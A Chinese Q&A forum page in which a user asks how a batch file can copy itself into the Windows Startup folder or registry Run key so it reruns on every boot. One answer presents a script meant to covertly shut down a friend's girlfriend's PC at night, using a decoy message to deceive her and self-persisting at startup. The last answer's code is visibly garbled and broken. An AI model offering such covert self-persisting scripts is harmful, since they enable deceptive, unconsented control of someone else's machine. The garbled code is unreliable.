如何bat文件点击后执行并且自动添加到开始菜单,<程序> 《启动》里去?

我做了一个bat文件如何让它点击后执行并且自动添加到开始菜单,<程序> 《启动》里去?

解决的好的我会加到150分
我为的是让bat文件再点击后,重启电脑后能自动再次执行这个bat文件

楼主只要在自己编写的批处理文件里,在@echo off下面添加下面两行代码,就可以实现楼主的要求。

ver|find /i "xp">nul&&set "p=%ALLUSERSPROFILE%\「开始」菜单\程序\启动"||set "p=%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup"
if not exist "%p%\%~nx0" copy "%~f0" "%p%" /y>nul

或者添加到注册表的启动项里:

@echo off
if not exist "c:\%~nx0" copy "%~f0" "c:\" /y>nul
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v bat /d "c:\%~nx0">nul
温馨提示:答案为网友推荐,仅供参考
第1个回答  2011-02-05
以下这个bat是帮朋友写的,为了让他女友晚上不玩通宵。
copy %0 "%userprofile%\Administrator\「开始」菜单\程序\启动"
只要把这句加到批处理中就可以实现你要的功能。
@echo off
msg * baby,早睡早起身体好。
rem 迷惑她,让她以为你发这个就是为说这句话的。
net start Schedule
if %time% geq 0:00 if %time% leq 6:00 shutdown /s /t 0
cls
copy %0 "%userprofile%\「开始」菜单\程序\启动"
pause
第2个回答  2011-02-05
copy %0 "%userprofile%\「开始」菜单\程序\启动"
放在最前面,就是复制到启动中
第3个回答  2011-02-05
在程序末尾加上一段就把自己复制到启动文件夹里了:
del 1.cmd&&exit
echo @echo wscript.sleep 100^>1.vbs>1.cmd
echo @call 1.vbs&del 1.vbs© %$0% 启动文件夹路径&start %$0%>1.cmd
start 1.cmd
exit

相关了解……

你可能感兴趣的内容

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 非常风气网